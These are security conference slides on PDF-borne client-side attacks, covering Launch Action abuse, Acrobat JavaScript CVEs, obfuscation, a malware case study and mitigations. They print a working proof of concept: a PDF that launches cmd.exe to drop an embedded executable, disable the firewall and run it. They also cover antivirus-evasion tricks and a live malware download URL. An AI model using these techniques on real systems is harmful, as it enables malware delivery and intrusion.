client side exploits using pdf

BY,

ANKUR BHARGAVA(INFOSYS TECHNOLOGIES LIMITED)

TAMAGHNA BASU(SECURITY RESEARCHER)

Client Side Exploits using PDF

C0C0N Security & Hacking Conference

Contents

About PDF

Launch Action

Exploits

AcroJs Exploits

Road Ahead

Tools and

References

About PDF

• What is PDF?• Incidents in the wild• Why pdf attcks?• PDF document structure

Potentially Dangerous File / Penetration Document Format

Stands for Adobe Portable Document Format

Exchange and manipulation of electronic data reliable and platform independent

Has become most widespread and used document description format throughout the world

Adobe PDF – As a programming language

PDF document is more than a powerful document format

Has a complete programming language of its own

Dedicated to document creation and manipulation

Relatively strong execution features

Adobe PDF – Security Issues

2010: Still Continuing…

2010: Still Continuing…M

arch

April

May

June

Incidents in the wild

Jun 14 CVE-2010-1297 PDF Adobe 0-Day WEO from [email protected]

Jun 20 CVE-2010-1297 PDF Meeting agenda from [email protected]

Jun 21 CVE-2010-1297 PDF About the recent US-Japan Economic Relations

Jun 21 CVE-2010-1297 PDF Adobe 0-Day About the recent US-Japan Economic Relations - with Poison Ivy

Jun 27 CVE-2009-0927 PDF Discussion on cross-strait maritime cooperation

Jul 6 CVE-2010-1297 PDF EPA's Water Sampling Report from spoofed [email protected]

Jul 14 CVE-2009-4324 PDF President Obama's Detrimental Deadlines

The Reign of Zeus:

Zeus (also known as Zbot, PRG, Wsnpoem, Gorhax and Kneber) is a Trojan horse that steals banking information by keystroke logging.

Found in July 2007 when it was used to steal information from the United States Department of Transportation. It became more widespread in March 2009.

In June 2009, security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of companies like: Bank of America, NASA, Monster, ABC, Oracle, Cisco, Amazon, BusinessWeek

ZeuS is sold in the criminal underground as a kit for around $3000-$4000, and is likely the one malware most utilized by criminals specializing in financial fraud. ZeuS has evolved over time and includes a full arsenal of information stealing .

The Reign of Zeus

A recent breakthrough in spreading Zeus via PDF files threatens to further the spread of Zeus. The pdf file (detected as Exploit.JS.Pdfka.bui) contained an exploit for the CVE-2010-0188 vulnerability - buffer overflow – manifests itself when the field containing the image is accessed.

CVE-2010-0188 exploits statistics 2010

Popular in malwaredomainlist.com

Apple iPhone / iPad / iPod Code Execution and Sandbox Bypass

VUPEN ID - VUPEN/ADV-2010-1992Release date - 2010-08-03 It is caused by a memory corruption

error when processing Compact Font Format (CFF) data within a PDF document, which could be exploited by attackers to execute arbitrary code by tricking a user into visiting a specially crafted web page using Mobile Safari

Why PDF

Popularity and usability

Flexibility, platform independent, rich text

Trust level is high on pdf – static piece of information

Rich api, easy to exploit / misuse

Dominance of Adobe reader, huge scope for attack

PDF document structure

The general structure of a PDF file is composed of the following code components: header, body, cross-reference (xref) table, and trailer, as shown in figure 1.

PDF Document Structure

PDF Header

Objects

Trailer

Bod

y

Cross reference Table

Launch Action

• Launch Action Api• Some Examples• Evading Antivirus• With embedded EXE

Launch Action Vulnerability

A launch action launches an application or opens or prints a document. Following are the action dictionary entries specific to this type of action.

ENTRIES

S :Name Required) The type of action that this dictionary describes; shall be Launch for a launch action.

F: File specification(Required if none of the entries Win, Mac, or Unix is present) The application that shall be launched or the document that shall be opened or printed. If this entry is absent and the conforming reader does not understand any of the alternative entries, it shall do nothing.

Win : dictionary(Optional) A dictionary containing Windows-specific launch parameters.


PARAMETERS

F : byte string (Required) The file name of the application that shall be launched or the document that shall be opened or printed, in standard Windows pathname format. If the name string includes a backslash character (\), the backslash shall itself be preceded by a backslash. This value shall be a simple string; it is not a file specification.

P : byte string(Optional) A parameter string that shall be passed to the application designated by the F entry. This entry shall be omitted if F designates a document.


Open command prompt Open website


Open notepad.exe


Changing the message


Confidential Data!! If You are Authorized Click on 'Open'. Check 'Do Not Show This Message Again' to avoid this dialog next

time

Launch Action in 9.3.3

Evading Antivirus by Changing the format

You can take any other PDF data type and give it a number by wrapping it in "obj" and "endobj". Then later on, when you want to use that chunk of data, you can reference it, by number, with the "R" operator.

These two examples are equivalent to Acrobat

2 0 obj (Hello World)Endobj

3 0 obj<< /Example 2 0 R >>Endobj

3 0 obj<< /Example (Hello World)>>endobj

Evading Antivirus

What You Can Leave Out All Page data All Whitespace, except for End-Of-Line after comments The version number part of %PDF-1.1 The %%EOF The xref table And thus also startxref Most Object /Types

So what's actually required? %PDF-anything, but if the file is too confusing for Acrobat, you need

at least the first number. Like %PDF-1. A trailer with a /Root dictionary for the Catalog A /Pages dictionary, but this can be empty, just as long as it's a

dictionary type. An /OpenAction if you want to launch your Javascript upon file

open. The Javascript Action.

Evading Antivirus

%PDF-1.trailer<</Root<</

Pages<<>>/OpenAction<</S/Launch/Win<</F(cmd.exe)/P<0A0A0A0A0A0A0A0A4E6F74653A2054686973206973206120736563757265205044462E20546F207669657720746865207365637572656420636F6E74656E7420706C6561736520636C69636B2074686520224F70656E2220627574746F6E2062656C6F772E>>>>>>>>>

Evading Antivirus

POC: Launching an Embedded exe

Step 1 : Embed the hex content of the exe in a vbscript which extracts it out to the file system and runs it.

Step 2 : Embed that vbscript in the pdf file as comments.

Step 3 : Launch cmd.exe and create another script which extracts out the main vbscript from the pdf and run them both.

Step 1 : Embed the hex content of the exe in a vbscript

Dim b,blFunction c(d)c=chr(d)End Functionb=Array(c(77),c(90),c(144),c(0),c(3),c(0), c(0)....,"")bl = 3072Set fso = CreateObject("Scripting.FileSystemObject")Set f = fso.OpenTextFile(“helpme.exe", 2, True)For i = 0 To blf.write(b(i))Nextf.close()Set WshShell =

WScript.CreateObject("WScript.Shell")WshShell.Run "netsh firewall set opmode disable", 0,

TrueWshShell.Run "helpme.exe", 0, FalseWshShell.Run "taskkill /IM cmd.exe /F", 0, False

Hex content of the exe as a character array

Step 2 : Embed the vbscript in the pdf file as comments

%'SS%Dim b,bl;Set WshShell = Function c(d);c=chr(d);End Function;b=Array(c(77),c(90),c(144),c(0),.....,"");bl = 3072;Set fso = CreateObject("Scripting.FileSystemObject");Set f = fso.OpenTextFile("helpme.exe", 2, True);For i = 0 To bl;f.write(b(i));Next;f.close(); Set WshShell = WScript.CreateObject("WScript.Shell") ;WshShell.Run "netsh firewall set opmode disable", 0, True;WshShell.Run "helpme.exe", 0, False;WshShell.Run "taskkill /IM cmd.exe /F", 0, False%'EE

6 0 obj[/PDF /Text]endobj

Step 3 : Launch cmd.exe and create another script

/c echo Set fso=CreateObject("Scripting.FileSystemObject") > execute.vbs && echo Set f=fso.OpenTextFile("EmbeddedExePoC.pdf", 1, True) >> execute.vbs && echo pf=f.ReadAll >> execute.vbs && echo s=InStr(pf,"'SS") >> execute.vbs && echo e=InStr(pf,"'EE") >> execute.vbs && echo s=Mid(pf,s,e-s) >> execute.vbs && echo Set z=fso.OpenTextFile("toexecute.vbs", 2, True) >> execute.vbs && echo s = Replace(s,"%","") >> execute.vbs && echo s = Replace(s,";",vbcrlf) >> execute.vbs && echo z.Write(s) >> execute.vbs && execute.vbs && toexecute.vbs

Generated VBScript

Set fso=CreateObject("Scripting.FileSystemObject") Set f=fso.OpenTextFile("EmbeddedExePoC.pdf", 1,

True) pf=f.ReadAll s=InStr(pf,"'SS") e=InStr(pf,"'EE") s=Mid(pf,s,e-s) Set z=fso.OpenTextFile("toexecute.vbs", 2, True) s = Replace(s,"%","") s = Replace(s,";",vbcrlf) z.Write(s)

AcroJS

• AcroJs Api• Vulnerable Api’s • Obfuscation Techniques• Case Study

AcroJS

• Acrobat JavaScript is the cross-platform scripting language of the Adobe® Acrobat® family of products.

• Through JavaScript extensions, the viewer application and its plug-ins expose much of their functionality to document authors, form designers, and plug-in developers.

• This functionality includes the following features, – Processing forms within the document– Batch processing collections of PDF documents– Developing and maintaining online collaboration schemes– Communicating with local databases – Controlling multimedia events

JavaScript Actions

• A JavaScript action causes a script to be compiled and executed by the JavaScript interpreter.

• Depending on the nature of the script, various interactive form fields in the document may update their values or change their visual ap pearances.

PARAMETERS /S Type - name(Required) The type of action that this dictionary describes; must

be JavaScript for a JavaScript action.

/JS Type - text string or text stream(Required) A text string or text stream containing the JavaScript

script to be exe cuted.

launchURLAlertbox

Acrojs examples

Acrojs examples

Vulnerable APIs

• getIcons() [CVE-2009-0927]– Stack-based buffer overflow in Adobe Reader and Adobe Acrobat

9 before 9.1, 8 before 8.1.3 , and 7 before 7.1.1 allows remote attackers to execute arbitrary code via a crafted argument to the getIcon method of a Collab object, a different vulnerability than CVE-2009-0658.

• Util.printf() [CVE-2008-2992][CVE-2008-1104]– Stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2

and earlier allows remote attackers to execute arbitrary code via a PDF file that calls the util.printf JavaScript function with a crafted format string argument, a related issue to CVE-2008-1104.

– Stack-based buffer overflow in Foxit Reader before 2.3 build 2912 allows user-assisted remote attackers to execute arbitrary code via a crafted PDF file, related to the util.printf JavaScript function and floating point specifiers in format strings.

Vulnerable APIs

• getAnnots() [CVE-2009-1492]– The getAnnots Doc method in the JavaScript API in Adobe

Reader and Acrobat 9.1, 8.1.4, 7.1.1, and earlier allows remote attackers to cause a denial of service (memory corruption) or execute arbitrary code via a PDF file that contains an annotation, and has an OpenAction entry with JavaScript code that calls this method with crafted integer arguments.

• customDictionaryOpen() [CVE-2009-1493]– The customDictionaryOpen spell method in the JavaScript

API in Adobe Reader 9.1, 8.1.4, 7.1.1, and earlier on Linux and UNIX allows remote attackers to cause a denial of service (memory corruption) or execute arbitrary code via a PDF file that triggers a call to this method with a long string in the second argument.

Vulnerable APIs

• Doc.media.newPlayer [CVE-2009-4324]– Use-after-free vulnerability in the Doc.media.newPlayer

method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute arbitrary code via a crafted PDF file using ZLib compressed streams, as exploited in the wild in December 2009.

• Collab.collectEmailInfo [CVE-2007-5659]– Multiple buffer overflows in Adobe Reader and Acrobat 8.1.1

and earlier allow remote attackers to execute arbitrary code via a PDF file with long arguments to unspecified JavaScript methods. NOTE: this issue might be subsumed by CVE-2008-0655.

Obfuscation Techniques

Why? To make analysis more difficult To avoid detection by virus scanners

Ways? Using javascript Obfuscation Using Pdf Obfuscations(Filters)

Javascript Obfuscations : Unlearn Coding Ethics

Distorting format

Normal Code Obfuscated Code

function execute(data, time){ Timelag=5000; if (time > Timelag) { // some code }}

function overflow(hex, loop) { for (i=0;i<loop;i++) { hex = hex + hex; }}

function overflow(hex, loop){for (i=0;i<loop;i++){hex = hex + hex;}}function overflow(hex, loop) {for i=0;i<loop;i++){hex = hex + hex;}}

Obfuscating IdentifiersNormal Code Obfuscated Code

function execute(data, time){ Timelag=5000; if (time > Timelag) { // some code }}

function overflow(hex, loop) { for (i=0;i<loop;i++) { hex = hex + hex; }}

function aeiou(lIlIIlI, O0OOOO0OO000OO){WWMWMMWMWMWMW=5000;if (O0OOOO0OO000OO > WWMWMWMWMWMW){// some code}}

function aimpq(xxwmnnx, pqrtxw){for (dqweaa=0; dqweaa < pqrtxw; dqweaa ++){xxwmnnx = xxwmnnx + xxwmnnx;;}}

Obfuscating Identifiers – Even Worse

Differentiating with number of underscore characters

function _____(____,__________){

______________=5000;if (__________>______________){

// some code}

}function ___(_______, ______){

for(________________=0; ________________<______; ________________ ++)

{_______ = _______ + _______;

}}

Obfuscating Identifiers – Even Worse

Differentiating with number of underscore characters

function _____(____,__________){______________=5000;if (__________>______________){// some code}}function ___(_______, ______){for(________________=0; ________________<______; ________________ ++){_______ = _______ + _______;}}

Chain of Eval

Normal Code Obfuscated code

app.alert(“c0c0n”) func="eval";one='app.alert("c0c0n")';two=eval(one);three=eval(two);eval(func(three));

Splitting Javascript

Normal code Obfuscated Code

app.alert(“hello world”); Rt=“);”;Td=“ert(\”hel”;Ab=“ap”;Qw=“ld\””;Kg=“p.al”;Gh=“lo wor”;Eval(“hh=Ab+Kg+Td+Gh+Qw+Rt”);Eval(hh);

Callee Trick

Function accesses its own source and uses it as a key to decrypt code or data

function decrypt(cypher){var key = arguments.callee.toString();for (var i = 0; i < cypher.length; i++){plain = key.charCodeAt(i) ^ cypher.charCodeAt(i);}...}

Pdf obfuscations

Using Filters for streams.Most common encoding techniques -

ASCIIHEXDecode, ASCII85Decode, LZWDecode, FlateDecode, RunLengthDecode

Case Study

Malware found from - www.malwaredomainlist.com

File link www.bigiqwars.ru/ppp/exp/pdf.php?user=admin&pdf_acces=on

Added on – 29th july 2010

Virus total Reports 5/42(11.90%)

Analysis

STEP-1

WGET www.bigiqwars.ru/ppp/exp/pdf.php?user=admin&pdf_acces=on

STEP-2

Behavioral AnalysisEnvironment• By using vm image• Filemon,Processmon,Regmon,TCPViewResults• Under Process ‘AcroRD32.exe’ Was trying to

connect to remote site http://bigiqwars.ru/ppp/exe.php?spl=PDF (newPlayer)&user=admin&exe_acces=on

STEP-3

Pdfid.py

STEP-4

Static/Code Analysis

Word Editor

Decoded the script

Formatted using jsbeautifier.org

Replacing with meaningful identifiers and removing unnecessary comments

Replacing ‘X’ from parameter

Shellcode Analysis

Connecting to…http://bigiqwars.ru/ppp/exe.php?spl=PDF (newPlayer)&user=admin&exe_acces=on

Road Ahead

• Mitigations• Adobe’s security Measures• Future Exploit methods

How can we protect ourselves

• Enable automatic updates: it sounds simple, but you will need to turn it on in the software settings to make it happen by default.

• Disable PDF browser integration: most browsers will open PDFs without asking. An infected PDF will deliver its payload without warning, hiding in the background.

• Always install the latest patch/update, even for older Adobe product versions.

• Disable Javascript• Uncheck ‘Allow non-PDF gile attachments with external

applications’ to prevent launch action vulnerability.

• PDF alternatives such as Foxit are worthwhile, as long as auto updates are turned on, however alternative programs are just as vulnerable to malware as they gain popularity.

Road Ahead

Focus Less on javascript exploitsAttackers focusing more on embedded

objects inside pdf i.e flash Adobe to introduce sandboxing to limit

Reader exploits

Tools And References

Tools used

MalzillaMozilla addon

javascript deobfescator by Wladimir Palant

Vmware PlayerSysinternal tools

Processmon,filemon,regmon,tcpview

WinHexHexEdit

References

www.malwaredomainlist.com www.adobe.com/ www.bigiqwars.ru/ppp/exp/pdf.php?user=admin&pdf_acces=on www.blog.didierstevens.com www.jsbeautifier.org http://research.globalthoughtz.com http://www.zdnet.com/ http://www.scansafe.com/ http://www.computerworld.com/s/article/9176117/ http://www.darkreading.com/ http://www.virustotal.com/ http://recon.cx/ http://www.blog.zynamics.com

References continued..

http://www.marketwire.com/ http://www.symantec.com/ http://www.securelist.com/en/analysis http://contagiodump.blogspot.com/ http://www.f-secure.com/ http://www.securelist.com/ http://www.secureworks.com/ http://en.wikipedia.org/ http://www.malwaredomainlist.com/ http://blogs.adobe.com/ http://blog.fireeye.com/ http://intrepidusgroup.com/ http://www.vupen.com

Thank you

Tamaghna [email protected]\titanlambdatamahawk-techguru.blogspot.com

Ankur [email protected]

client side exploits using pdf

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